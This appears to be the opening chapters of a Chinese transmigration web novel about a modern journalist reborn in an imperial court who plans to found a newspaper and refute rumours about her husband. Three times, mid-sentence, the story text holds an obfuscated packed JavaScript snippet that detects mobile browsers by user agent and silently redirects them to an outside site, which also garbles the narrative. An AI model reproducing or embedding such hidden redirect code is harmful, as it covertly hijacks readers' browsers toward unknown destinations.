《黎民报社》 1. 万民之眼 冰冷的湖水不断灌入口腔,肺部空气被挤压殆尽。孟允抒被卡在汽车后座上动弹不得,只能感受到眼前的景象逐渐模糊,堕入无边的黑暗。 在一片混沌之中,她脑内忽而响起一个电子合成音。 【尊敬的宿主您好,欢迎您来到大胤朝。请问您是否需要激活系统?】 孟允抒正在生死存亡的紧要关头,她顾不得思考,果断选择了“是”。 【我是情报系统“万民之眼”,您当前的声望值为0,请继续加油。新人礼包正在搜集中,请稍等。】 接着,她感到头部的不适开始缓解,呼吸也重新畅通起来。 “夫人?” 孟允抒听闻一个饱含犹疑的女声,却只有动动手指的力气。 她的手很快被握住,那女声又惊喜道:“夫人,你醒了?” 孟允抒挣扎一番后,终于艰难地撑起眼皮。她的视线一点点聚焦,一片藕荷色床帐映入眼帘,上面绣着淡雅的兰花图样。 这不是自己熟悉的地方。 孟允抒的意识骤然清醒,却因为身体虚弱没能从床上坐起。她余光瞥见床边坐着个人,便转头打量她。 那姑娘二十岁左右的年纪,身形高挑,仪态端庄,身着碧色罗裙,挽着整齐的发髻,头上有珠钗稍作点缀,简约而不失美观。 她关切地问:“夫人身体可有不适?” 联想到系统方才的发言,孟允抒大致捋清了她当下的处境。 她是个记者,在一家报社工作。今天她在暗访回来的路上遭遇车祸,车子被撞得冲出路面翻进了湖里,不一会她就因溺水而窒息昏迷。 看眼下这神似穿越的场面,孟允抒怀疑自己其实是溺亡了。 她正要询问对方的身份,系统的声音又蹦了出来。 【感谢您使用本系统,现在我将新手福利赠送给您,请注意查收。】 就像倍速看电影那般,孟允抒的大脑被塞进无数片段,缀连成原主身不由己的一生。 原主与她同名,是家中独女,父母恩爱家境优渥,但好景不长,她的母亲在她七岁那年病逝,父亲未曾续弦再娶,三年之后,她父亲也因积劳成疾溘然长逝。当时她尚且年幼,在江南无人照管,便遵从父亲遗嘱,千里迢迢来投奔京城舅父家,住进了姚府。 但正如历史上那些高门大户那样,她舅父的家底并不干净,周围还有不少人算计她的家产,寄人篱下的生活也并不好过。可她身为一个孤女别无他法,只能谨慎求生。 十八岁那年,她舅父为拉拢当时的新科探花郎许昭,强行将她嫁给对方打探其动向。许昭表面对她以礼相待,实则处处提防,二人互相猜忌,并无夫妻之实。 两年后,许昭时任刑部员外郎,他掌握原主舅父贪腐受贿的罪证上报朝廷,今日御史台派人抄了姚府,罪人悉数收监,许昭则因查案有功升任刑部郎中。 原主惊闻此事万念俱灰,认定许昭是个阴险小人。她在世上彻底没了依靠,又背上引狼入室的骂名,她不堪受辱,便趁四下无人自缢而亡。 随后孟允抒便穿越过来。 她在心中暗骂,真是吃人的封建社会。 “我去给夫人请郎中。” 床边的姑娘起身欲走,孟允抒这才想起她还没给对方回话,连忙将她拦下:“不必了。” 说罢,她又对那女子笑笑,打消她的怀疑:“姐姐也忙活了半天,且歇着去吧。” 从原主的记忆中孟允抒得知,此人名叫秋盈,是原主的贴身丫鬟,比她年长三岁,两人从小一起长大。秋盈行事稳重干练,对原主无微不至,故原主在人后一直唤她“姐姐”。 秋盈见孟允抒的气色回转,却仍不大放心:“夫人感觉好些了?” “嗯。”孟允抒望着她的双眸,粲然一笑道,“已无大碍了。” 她刚一醒来便看见如此标致的姑娘,自然是心情大好,连同身子都轻快许多。 “夫人可是差点要弃我而去。”得到孟允抒的答复,秋盈稍稍松了口气,“饭后你说要小憩一会,让我们都退下去。过了半个时辰我来看你,就发现你……” 她顿了顿,咽下激烈的情绪,才重新开口。 “我叫人去请了郎中来,郎中说他也无力回天,让我们准备后事,速速差人禀告老爷。还好你醒了。”说到这里,她强忍眼泪攥紧孟允抒的手,“夫人要是走了,我活着也没什么念想了。你可想开些,莫要再寻短见。” 孟允抒与她没什么交情,却听得出她话里的真挚,于是宽慰她道:“放心,我会好好活着。” 从事不关己的局外人视角看,许昭的行为可称得上“大义灭亲”“铁面无私”,反贪反腐也是为民除害。可从原主的角度出发,许昭出身寒门,起初也只是个八品小官。攀上她这门亲事后,他凭借姚府的影响力在官场扶摇直上,羽翼渐丰过河拆桥,就是一个纯粹的白眼狼,也就是现代人所说的“凤凰男”。 出于新闻记者的职业素养,孟允抒没有急着为这件事下定论。但她现在孤立无援,简直是任人宰割,若许昭真有什么歪心思,她根本无力与之抗衡。 她正分析着现状,房门被人猛地推开,从外面闪进一个身影,急匆匆地赶至孟允抒床前:“孟姑娘情况如何?” 秋盈见状连忙起身行礼:“老爷,夫人已经醒了,只是身上没什么力气。” “许公子回来了。”孟允抒用胳膊支起上半身,强撑着想要下床,却被来人阻止了动作:“姑娘免礼。” 此人便是许昭,他与原主平日里交流不多,二人虽已成婚两年,在私下却依然以“姑娘”“公子”互称。 孟允抒心想,这就是标准的室友关系。 这位室友身材颀长,站姿挺拔,其人似是由雾凇凝成,言谈举止间携着宁静冷冽的气度,却反衬得他五官深邃。此刻他还身着一袭绯色公服,显然是听说出了人命,从官府匆忙赶回,没来得及换装。 许昭简单问过几句话,便屏退了秋盈,留他和孟允抒单独待在屋内。 孟允抒绷紧精神靠在床头,看他搬来张椅子落座,戒备地盯着他。 许昭沉默片刻后开口:“姑娘不必担忧,你是外姓女子,又已经出嫁,无论如何姚府的罪名落不到你头上。” 孟允抒暗自庆幸她不会无辜受累,但她还想知道许昭接下来将作何打算。 为了不露出破绽,孟允抒努力装出悲痛的模样,大脑飞速运转,试图搜寻她的伤心事以便挤出几滴眼泪。 作为一个亡故后的穿越者,孟允抒最牵挂的便是自己的家人朋友,以及她奋斗了多年的新闻事业。在过去的采访报道中她得罪了不少人,便趁早安排好了后事以防万一。 尽管她已经筹划好一切,可她的家人朋友免不了要难过一番。 想到这些场景,孟允抒的泪水瞬间决堤。她忙用手帕拭泪,倒是演得十分逼真:“现在我举目无亲,可以任由公子处置了。” 许昭见她哭得梨花带雨,连声音都打着颤,不得不解释道:“我知道你对我怀恨在心,可我不能徇私枉法。但姑娘无罪,何来处置之说?” 他完全是一副公事公办的疏离态度,孟允抒猜不出他的意图,索性直入正题:“我与你并无夫妻情分,你留我还有何用?” “但你我尚有夫妻之名,一切照旧便是。”说着,许昭又给出第二种方案,“若你在此处待得不自在,我也可以与你和离。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310331|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另寻住处需要耗费巨大的精力与财力,从目前情况来看,后者显然不是个好选择。 孟允抒再次试探许昭,泪眼朦胧地说道:“公子若是嫌弃我的身份想让我走,可与我明说,我们好聚好散。” “姑娘不要误会,我并无此意,一切全凭你自行决断。”许昭觉得他有越描越黑的趋势,实在不便多言,只能劝道,“姑娘该为自己多做打算,保重身体。” 话毕,他起身告辞。 确定许昭离开后,孟允抒马上收了泪。她察觉到原主体质虚弱,再哭下去恐怕身子会吃不消。 既然已经走到这一步,不如好好想想接下来该怎么办。 原主父母双亡,姚府又已经倒台,她在过去的二十年里都是个深居简出的大家闺秀,没什么人际往来,当前唯一的靠山便是许昭。 靠山山倒,靠人人跑,更何况许昭未必可靠。从他的反应来看,他暂时不会对自己构成威胁,但为了不再受制于人,她得趁早想个独立谋生的法子。 单看原主的个人财产,过去她的家产被姚府吞了不少,现在手里还有些嫁妆可供生活,但孟允抒深知坐吃山空的道理,这样下去不是长久之计。 思索片刻后,她忆起那个所谓的情报系统——“万民之眼”,在脑海中唤醒系统问:“你的具体功能是什么?” 【本系统的使用说明如下:宿主通过完成任务将获得数额不等的声望点,声望点可以兑换各种情报信息,主要分为“舆情热点”和“调查线索”两类。其中,越高级的信息所消耗的声望点越多。】 信息就是新闻工作的生命之源,孟允抒觉得这个情报系统简直是为她量身定制。 按系统所言,她现在的声望值为0,无法进行任何兑换。孟允抒问:“那现在有哪些任务可以做?” 【我是情报系统,所有的信息都要收费,所以不会直接公布任务,需要宿主自行触发。】 孟允抒想起了她找选题抓热点的痛苦经历:“那要是我一直触发不了任务呢?” 【不会的,只要您肯到处走走,总能找到任务。我再额外送您一条信息:通常情况下,舆情热点与任务有直接关系。】 听系统的意思,她还得谢谢它的好心。 综合分析以上情报,孟允抒想到了自己的老本行。有“万民之眼”的帮助,在消息闭塞的古代,发展新闻业也未尝不可。 顺着这个思路想下去,她得出一个答案:创办一份民间小报。 在原主的记忆里,这个时代已经出现早期报纸,分为邸报和小报两种,前者由官方发行,主要刊载政治要闻,内容偏严肃,经过层层审核,许多信息不透明;后者则由民间私自印发,内容多样形式灵活,但并未形成规模,组织松散,也存在捏造新闻博人眼球的问题。 孟允抒思忖,若是能将两者的优点相结合,必定能填补市场空白。 办报的第一步是组建报社,而穿越前她就一直在报社工作,也算是经验丰富。虽说报社部门众多,但最主要的还是记者和编辑两个岗位,在起步阶段,这部分职能她靠自己就能完成。 至于其他工作应当如何开展,怎样招揽贤才,她得再认真考虑。 光说不练假把式,为了寻找任务和思考问题对策,孟允抒接下来要做的事便是外出调研。 确定行动目标后,孟允抒的心境明亮了几分,胃部也隐约传来饥饿感。 她低头握住自己纤细苍白的手腕,心头涌上一阵疼惜之情。 斯人已逝,孟允抒决定从今天起好好吃饭多加锻炼,养好身子,为自己,也是为这个姑娘,迈向崭新的未来。 她掀开被子下床,小跑着去门外找秋盈。 2. 舆论 孟允抒俯身低头,搭上秋盈的手,被她扶着下了马车。 街道上人潮熙攘,卖货郎身上挂满五花八门的小玩意,推着独轮货车走街串巷,辗过满街的吆喝声;磨镜匠正在为镜子研磨抛光,货架上挂着的铜镜映照出往来行人的身影,可见贩夫走卒穿梭其间。 这些生活化的场景让孟允抒十分恍惚,仿佛自己只是在一个寻常的午后出门逛街。 秋盈在旁边小心搀着她一路向前,不忘叮嘱道:“夫人体弱,别走得太远。走一会就该停下来歇歇。” 孟允抒口中应着“知道”,视线和心思却全扑在街景上。 原主过去大门不出二门不迈,孟允抒没有太多关于市井风貌的记忆。既然要办民间小报,那必然要从体察民情做起。昨日孟允抒请秋盈得空陪她出门,秋盈一再劝阻却拗不过她,最终只得同意。 眼前这条街道名为云锦天街,离许府不过两刻钟车程,靠近京城中心,是京中最繁华的街道,这一点在商铺数量上就体现得淋漓尽致。路边摊贩占据了大半街道面积,有的支起凉棚货架,木牌上写着诸如“醒酒姜茶”“木樨香丸”之类的商品名;其后还有不少正店,限高三层,许多店铺就开在坊中,形成前店后宅的格局,如同现代的门面房。 孟允抒对此种情况很是满意。坊市合一有利于商业发展,城市结构也不至于死板封闭。回头她若是需要,便可以就近寻个铺面。 她沿着街道缓步前行,目光掠过一个个店铺匾额,看到“文昌书坊”四字眼前一亮:“秋盈,我们进去看看。” 这家书肆铺面较大,生意兴隆,店主忙于应付其他顾客,无暇与孟允抒搭话。她翻看柜上的书本,书籍类型多为诗集、经书、话本小说,字迹清晰,纸张质量过关。 店铺后门敞开着,孟允抒能一眼望见屋后的宅子,两者之间隔着一处小院落,其中放着几张木桌。并上后宅中的人,共有十多人正伏案工作,手头所持的工具不一。 孟允抒走到他们身边仔细观察,发现这些人大致可分为写工、刻工、印工三类,写工负责誊抄,刻工持刀雕刻版样,印工则在印版上刷墨,将纸张按在字模上进行印刷。 对于那些流通度极高的书籍,如蒙学教材、经典小说,大多采用雕版印刷,其余则使用活字印刷,以便字模的再利用。 孟允抒暗暗称妙,活字印刷术真是伟大的发明。 她要是办报,考虑到新闻的时效性,雕版印刷定然行不通。孟允抒问了几人得知,若使用活字印刷,熟练的排版工每人每小时可排一千字左右。 她见一名印工正将印好的纸张夹起,悬挂在院中的线绳上,孟允抒走近细看上面的内容,发现这正是民间小报。 她赶忙上前行礼道:“请问这位小兄弟,这样的一份小报,通常有多少字?” 印工见她态度温和有礼,也爽快应答:“姑娘,小报的字数不等,少则两百,多则上千。有些小报文章写得太长,栏目众多,得用五六张纸才能印完。” 孟允抒点头,将目光投向面前的纸张。 秋盈见她要去看报,神色紧张地挽住她的胳膊,出言劝阻道:“夫人,我们还是去别处走走吧。” “为什么?” 一句话刚出口,孟允抒就明白了答案。她的目光正落在一篇描述宫闱秘事的小报上,文章详细描述了皇帝与贵妃之间的爱恨纠葛,字里行间透露着香艳刺激的气息。 孟允抒仿佛看到了狗仔队的雏形,人们对八卦秘闻的热情果然亘古不变。 秋盈左右看看是否有人注意她们,再次提醒孟允抒:“夫人,你不能看这些不正经的东西,于你的清誉有损。” 孟允抒看得津津有味,满不在乎地回答:“小报印出来便是给人看的,旁人看得,我就看不得?” 秋盈听了这话先是一愣,随后竟然笑起来:“夫人像是参悟了神机,突然如此通透。” 孟允抒意识到她的发言与原主的性格严重不符,神色如常地掩饰道:“去鬼门关走了一遭,自然想开了许多。” 说话间,她快速浏览了几篇文章,正要取下其中的一份去结账,却发现秋盈站在一旁,蹙眉紧盯着面前的小报。 “怎么了?” 孟允抒循着她的视线望去,从标题中可看出,这篇文章讲述的是昨日姚府被查抄的事。 开头写道,许昭作为刑部官员刚正不阿,即便姚府是他夫人的娘家,他依然秉公执法,不徇私情。 接着作者笔锋一转,暗示读者事情没有那么简单。他爆料出许昭在两年前与孟允抒成婚,为的就是借姚府的势力平步青云,也收受了不少好处。现今他已经在朝中积累了足够的人望,便着手洗白自己的来路,推翻姚府加官进爵,名利双收。 结语处作者又写,毕竟人无完人,许昭所做之事也算利国利民,百姓应对他感恩戴德。 孟允抒感慨,作者明夸暗讽的功夫真是厉害。 对民众来讲,许昭肃清官场分明是好事一桩,但作者并未突出许昭的反贪行为,而是将读者的注意力引向许昭自身,向大家证明许昭绝非大公无私,只是为了个人利益一箭双雕。 寥寥数语便将此事的性质转变为黑暗的政斗。 孟允抒见过太多类似手法,正如那几句经典的网友锐评,“新闻学魅力时刻”“学新闻学的”。 面对同一件事,站在不同角度去观察,用不同手法去传达,导向的结论就会大相径庭,报道者若是居心叵测,便能利用这一点煽动群体情绪,对敌方发起舆论攻势。 她问道:“秋盈,你对这篇文章有什么看法?” 秋盈面露难色:“夫人,我不好说。” “但说无妨。”孟允抒对她温和地笑笑,“我想知道姐姐是怎么看待这件事的。” “于公,查证断案是老爷职责所在,他这样做合乎常理。”她跟着孟允抒取下小报去结账,“于私,老爷多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310332|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不近人情。更何况他确实从此事中获益,很难不为人诟病。” 孟允抒点点头。从原主的记忆中来看,恐怕大部分人都持有类似观点。 她折起小报交给秋盈,让她装进随身携带的荷包里收好:“你觉得许公子是个什么样的人?” “说实话,我对老爷不甚了解。我从小就跟着夫人,他自然也一直防备着我,顶多就是吩咐我两句,让我照顾好夫人。” 秋盈扶着孟允抒走出书坊,换了个话题:“前面有个茶铺,夫人坐下歇歇脚吧。” 在外面走了半天,孟允抒是有些口渴,于是欣然应允。 两人坐在青竹扎成的棚子里,趁着等茶的工夫,孟允抒凝神听着周围人的闲谈内容。 新闻素材往往来自生活中不起眼的角落。 她左侧的茶桌旁坐着两三个农夫打扮的男子,担子放在一旁,也像是走累了在此处歇脚。他们的嗓门很高,将孟允抒的注意力尽数捕获。 “听说姚府被抄了?什么时候的事?” 姚府家大业大,眨眼之间风云陡变,自然成为当下的热点新闻。 “就是昨日上午的事。”背对着孟允抒的男子回答,“城里早都传开了,你不知道?” “我们住得远,消息不灵通。你详细说说,怎么回事?” “我也是从别人那听来的。” 而后,孟允抒又从他口中听了一遍事情的来龙去脉,只是这次的夸张和奇幻程度比起那张小报有过之而无不及,在他的描述中,许昭简直是个十恶不赦的奸佞小人。 这才听第三遍,版本都更迭成这样了。 这是个狗血又劲爆的新闻,许昭被推到了风口浪尖,几人痛骂他一阵,又有人问:“那他的夫人呢?她知道这事后是什么反应?” “先是闹着自尽,但许昭回去之后就安静了。”那人露出诡异的笑容,压低了声音说,“我听说是因为许昭那功夫很厉害,又玩得花,他夫人舒服得紧,自然离不开他。” 孟允抒差点被刚喝进去的茶呛住。造黄谣都造到她自己身上来了。 “一个被窝里睡不出两种人,看来他夫人也没气节,连这等奇耻大辱都能忍。” 秋盈面露不悦,显然也听见了他们的话,但在孟允抒的眼神暗示下,她只是过来扶起孟允抒:“夫人,我们走。” 孟允抒并非不生气,可古代的新闻大多依靠人们口耳相传,谣言漫天实属正常现象。她更在意脑内的那道提示音。 【恭喜您触发新手任务:三日内澄清关于许昭的谣言。任务完成后可获得20点声望。】 孟允抒思索片刻生出一个主意,在脑内问系统道:“做任务的方法有限制吗?” 【没有。完成任务的手段由您自己决定,只要合法合理,本系统不作过多干涉。】 这个回答正合她意。孟允抒决定用魔法打败魔法,她深谙此道。 “秋盈,回府吧。” 3. 真相 孟允抒进门问过门房,得知许昭已经散值归来,便叫秋盈先回去,自己则前往书房寻许昭。 既是要撰写报道,孟允抒决定先从当事人入手,随后再进行多方查证。 她行至书房,见房门开着半扇,一眼便望见许昭正坐在桌前看书,对她的到来浑然不觉。 孟允抒到底与许昭不熟,有些紧张地整理下衣衫,上前行礼道:“许公子。” 许昭闻声起身,微微颔首道:“孟姑娘回来了,请坐。” 两人隔桌落座,许昭叫人来给孟允抒上了茶,孟允抒屏退旁人,开门见山道:“公子当下是否方便,我有些事想问你。” “姑娘请讲。” “事先声明,我接下来所问之事并非出于私心,只想求得事实真相,望公子直言不讳。”孟允抒很快进入角色,“关于姚府被抄一事,我自知舅父作恶多端,但并不清楚其具体罪证,敢问你是否知晓?” “国有国法,若非证据确凿,朝廷不会给姚府定罪。”说着,许昭便罗列了姚府的种种罪状,“这些罪行都有迹可循,人证物证俱在,姑娘如有疑问,可亲自前去打听。” 孟允抒听得心惊胆战。姚府所做之事,件件都是死罪,满是黎民百姓的血泪。 她面上却依然不动声色,试探着问:“公子这些年也收受了不少姚府的好处,此事又当作何解释?” “姚府所送财物,或是捐赠或是充公,我一概有记录。至于结党营私,更是无稽之谈。朝堂之上众人皆知,我向来与姚大人水火不容。”许昭神情严肃,“许某不是圣人,但至少问心无愧。” 孟允抒见许昭没有回避问题的意思,觉得可以加快提问的节奏。 但接下来的问题比较敏感,为防止激怒许昭,孟允抒装出泫然欲泣的模样,双手攥紧手帕置于自己胸前,用哀婉的语调问:“既是如此,你当初为何要与姚府结亲?” 此言一出,许昭果然沉默不语。 孟允抒转头紧盯许昭,表面上是在逼视他,实则谨慎地观察他的脸色:“还请公子为我解惑。” 良久,许昭终于开了口。 “过去碍于你我的身份隔阂,有许多话我不便讲明,现今是该对你说实话。”他停顿片刻,提及当年之事,“三年前我考中探花,被封了个小官,其后有多人前来说媒。我无意娶妻,但姚大人曾多次牵线,邀我去府中小坐,我不能不允。” 孟允抒点头,这便是“榜下捉婿”。进士及第的人往往是潜力股,投资回报率高些,当然炙手可热。官场上的人也明争暗斗,想借联姻壮大自己的势力,她舅父打的就是这个主意,一直向许昭施压。 “我在姚府见到姑娘面带愁容,眼中含泪,打探得知你在府中常受轻待,又因我屡次拒绝这桩婚事,一时间流言四起。”许昭抬眸看了孟允抒一眼,“你时年十八,姚大人无论如何都要为你定一门亲事。到我府里虽不至于让你毫无顾虑,但至少可不被欺压。后来之事你也知道。” 当年孟允抒确实听秋盈提起,许昭曾向她打听自己的情况,但她只当许昭是随口一问,并未将此事放在心上,也没想到他是因此才应下了亲事。 她回忆那篇文章,现在只剩下最后一处污点:“公子因此事升任郎中,是否会良心不安?” “姑娘请看看这个。”许昭起身取来一封书信递给孟允抒,“接到告身后,我曾向陛下上疏奏议,陛下也作出答复。” 她展信一看,内容是许昭对自己私德有亏的痛斥,言说他不但不应升官,反而应该被降罪。 言辞恳切,感人肺腑。 上面的朱批则很明显出自皇帝之手,他褒奖了许昭大公无私的行为,认为他不该自责,理应升职。 孟允抒心想,若许昭确是正义之士,就不应放任他被人诬陷。 “多谢公子解惑。”她将信封还给许昭,“近日你可曾听闻城中传言?” 许昭端起茶盏:“满城风雨,我岂能不知。” “你为何不为自己辩白?” “公道自在人心。”许昭喝了口茶,语气冷淡,“更何况民众大多无知,何必为此费神。” 他这话说得孤高,听来有些刺耳。 “若人心偏信,则公道不公。”孟允抒反驳,“且民众之力不容小觑,许多人只是被有心之人加以误导,不得真相。公子此言着实傲慢。” 许昭没料到孟允抒会这样说,一时愣了神。 孟允抒意识到自己由于激动失言:“抱歉,允抒失礼。” 她向许昭告辞,临出门前她才想起,针对许昭的谣言,她还遗漏了一个问题。 孟允抒转过身,酝酿着语言:“我还有一事想问公子。你……” 她很想编几句话放上去,但实事求是的精神不允许她这么做。 孟允抒将心一横,说出了后半句话:“……是否精于床笫之事?” 许昭半晌没有回应,孟允抒偷摸着瞟了他一眼,只见他的脸上堆满红霞。 孟允抒尴尬地绞着手帕,在诡异的氛围中进退两难:“公子好歹说点什么。” 踌躇之间她发现自己犯了个大错,这个问题答“是”或“否”都不大对头。 她正要找补,许昭忽地开口:“我与姑娘都是清白之身,也不曾在外沾花惹草,无法回答姑娘此问。” 孟允抒得到答案赶忙道谢,随后落荒而逃。 在过去的职业生涯中,她不是没遇到过类似的尴尬场面,但许昭和她的关系特殊,她无法做到置身事外。 为转移注意力平复心情,孟允抒一面快步走向房中,一面构思着报道内容。 接下来整整一日,孟允抒都在查证许昭所言是否属实。 按照许昭提供的证据,她在城中四下走访调查,确证姚府所作之恶;同时她找人收买了几个官员府中的下人,打探他们主家对许昭的看法,他与姚大人在朝中有何过往;而后她回到府中拿到账本,将上面的收支齐齐计算一遍,并未发现纰漏或疑点。 她在府中也亲眼见闻,按许昭的官职品级和俸禄来说,他的生活过得相当简朴,开支已经压缩到了极致。 结合涉案百姓及其他官员对许昭的评价,以及这两日对许昭的试探、自己在府中的见闻,他的确是两袖清风,一腔赤诚。 至此孟允抒也安心许多。最起码她不会被许昭谋财害命。 获得完整的证据链后,孟允抒捋顺逻辑,将这件事的疑点逐个击破,晚上点灯熬油地写了报道。 在秋盈催促了十几遍后,孟允抒终于完成文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310333|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稿,满意地递给她:“姐姐帮我看看,可还有需要修改的地方?” 秋盈放下手中的活计接来纸页,点头称赞道:“此文言语凝练简明,夫人的笔墨远在我之上,我提不出什么意见。” 说罢,她又扶孟允抒上床,温声劝道:“我知夫人至情至性,无论何事都讲求干净清白,可面对悠悠众口,凭一己之力难以辩白,你不该为此劳心费力。” 孟允抒褪下外衫,叫秋盈在她身边睡下:“但若是因此就坐视不管,任由他人颠倒黑白,便等于将舆论阵地拱手让人。如此下去,我们再也听不到真实的传闻,进而被奸恶之人误导。” 秋盈在黑暗中沉默了一会,似是在咀嚼她的发言,最终认同道:“嗯,妖言惑众。若非与你一同查证,我对老爷也心怀偏见。” 经过这两日的相处及原主的记忆,孟允抒知晓秋盈知书达理,办事能力极强,放到现代企业也是个高级骨干,被困在闺阁之中实属屈才。 孟允抒凑近秋盈,试探着问:“姐姐觉得女子是否应闯出自己的事业?” “那是自然。”秋盈不假思索地回答,“不论男女,一个人若有事业傍身,走到哪都有底气。” 说完,她又轻叹一口气:“可是要实现这一目标,简直难如登天。” “不,只要姐姐有心,此事并非全无希望。”孟允抒笑道,“从明日起,我们先去文昌书坊帮工。” 文昌书坊是许府附近规模最大的书坊,昨日孟允抒留心多问了几句,得知那里长期与探官合作印制小报出售,也愿意接受临时工。 她对秋盈详细讲述了自己创建报社的计划:“所以,我们可借鉴书坊的经营方式,先去铺中切身体验一月,为日后创建报社与运营积累经验。” “不行。”秋盈一口回绝孟允抒的计划,“夫人体弱,书坊事务繁杂劳碌,必定吃不消。” 原主并非自幼体弱,她身体的底子没什么问题,长大后才频频生病。孟允抒估计八成原因都是她忧思过度,加上整日闭门不出,吃不好睡不好又不运动,身体能健康才怪。 她才养了两日,都明显感觉到身上有了力气,精神也恢复了不少。 孟允抒不愿让她的计划胎死腹中,软磨硬泡道:“姐姐陪我一同前去,若有什么不妥,我保证马上回来,这样如何?” 她的嘴皮子功夫厉害,说了几句后秋盈败下阵来,同她约法三章:“就依你去吧。但如你所言,若是你有不适,我们立刻离开。” 孟允抒奔忙了一天,已经疲倦至极。得到肯定的答复后,她放松心神,困意便席卷全身。 秋盈想到一个问题,又开口道:“只是书坊中皆是男子,掌柜恐怕不会同意你我帮工。” 即便是现代社会,孟允抒在就业时也经常遇到性别歧视,和店主理论也是白费口舌,她对此早有准备。 她闭着眼睛问:“还记得今日我让你买的那两身粗布衣裳吗?” 秋盈点头:“记得。” 孟允抒嘟哝了一句“明早见分晓”便睡了过去。 秋盈替她掖好被角,望了一会她安详的睡颜,思绪纷飞。 孟允抒自那日醒来后,她的想法与从前大相径庭。若她真是因为死而复生扭转观念,倒也算是一桩好事。 4. 刮目相看 翌日一早,孟允抒将秋盈推至梳妆镜前,强行按住她要给她化妆打扮。 秋盈惶恐起身,连连推拒:“夫人,这不合规矩。” 过去确实没有主子给丫鬟打扮的道理,但孟允抒当然不在乎这点:“你服侍我二十年,今日我帮你梳妆也未尝不可。” 她扶正秋盈的脑袋,认真替她描眉:“况且你我要乔装混进书坊,最好听我安排。” 出于工作需要,孟允抒精通乔装之道,化妆不着痕迹,但效果堪比换头。 孟允抒原本面容白皙,脸上总是挂着温婉的微笑,眼波仿佛漾开的一汪春水,流转着灵动的神采。这会她换上粗布短褐,将头发简单束起,利用阴影凸显出颧骨,从外貌来看就是个略显清瘦的平民男子。 “好了。”孟允抒大功告成,扶正秋盈让她看向镜子,“你看如何?” 秋盈打量着镜中两人的身影,愣了愣神道:“我连自己都认不出,更别说夫人。” 孟允抒要的就是这样的评价,欣喜地笑道:“现在我再教你发出男声。姐姐听好了。” 她曾学过基础的伪声,糊弄门外汉轻而易举。 秋盈悟性不错,跟着她学了一会便练得七七八八,孟允抒拉起她出门:“现在万事俱备,我们出发吧。” 距文昌书坊还有一里路时,孟允抒叫停了马车,与秋盈步行前往。 与昨日不同,清晨的书肆中没有多少顾客,孟允抒刚迈过门槛,店主便满脸堆笑地迎上来:“二位小兄弟想买什么书?” 店主姓郭,蓄着不长的胡须,身着一袭墨蓝长衫,外貌举止皆有书香气息,但眼角眉梢又流露出商人特有的精明算计。 “多谢郭掌柜,我们不是来买书的。”孟允抒作揖回应,从袖中取出她事先写好的文稿,“近日我结识一名探官,向他买了篇文稿。请问掌柜可否将它印成小报出售?” 郭掌柜接过文稿,将上面的内容从头到尾读了一遍:“文章写得不错。” 接着他话锋一转:“但此文所述之事已经见报,恐怕销量不佳。小店担不起风险,还望小兄弟见谅。” 他的言下之意就是,此事已经成为一桩旧闻,价值大大下跌,他不想为此投资。 就人们追求新鲜刺激的心理而言,报道的及时性比真实性更为重要。 孟允抒略一思索问道:“那就当作是我请坊中印工代印小报,由我支付工费,除此之外您还可照常出售,这样如何?” 这是一笔稳赚不赔的买卖,店主没有拒绝的理由。 秋盈不解地看看孟允抒,她示意秋盈先别说话。 “那您需要先付定金。”郭掌柜向她报价,“小报三十份起印。一份小报两文钱,共六十文,姑娘可先预付十文定金,再结清余款。” 为了省钱,孟允抒极力将这篇文章写得简明扼要,字数并不多,她觉得店主的价格不公道,便试着和他还价:“按体量算,我这份小报的价格不过一文,您看……” 郭掌柜并不想让步,但面上还是一团和气,耐心解释道:“您要得紧急,自然得加些价钱。” 果然无商不奸。 孟允抒别无选择只好应下,又拉来秋盈问他:“我还有一事相求。我们二人才到此地,想先寻个谋生的活路,请问掌柜能否容我们在坊中帮工?” 郭掌柜用审视的目光在二人身上游移了几个来回:“你们可会篆刻字版?有无排字印刷经验?” 孟允抒摇头否认,赶忙把话题调转至对自己有利的方向:“但我们工于书法,过去曾以抄书为业,整理书架与打扫卫生也不在话下。” 在面试的时候,半真半假地吹牛才是最好的应对之道。 秋盈见孟允抒面不改色编瞎话,也在一边连声应和。 郭掌柜又盘问他们一阵,见二人像是老实人,语气真诚恳切,便同意道:“那你们今日先上工,如果干得不错,我便留你们在坊中营生。” 孟允抒心里有了底,谈到薪资问题:“那工钱……” “你们初来乍到,一日二十文。”郭掌柜说道,“待你们技术娴熟,我会给二位涨工钱。” 后面那句话完全是领导惯用的画饼技能,孟允抒直接将其忽略不计。 她和秋盈两人的工钱加起来才四十文,但他们每日至少可以为店主带来两百文的收益。 真是黑心资本家。 除此之外,还有一点值得注意。 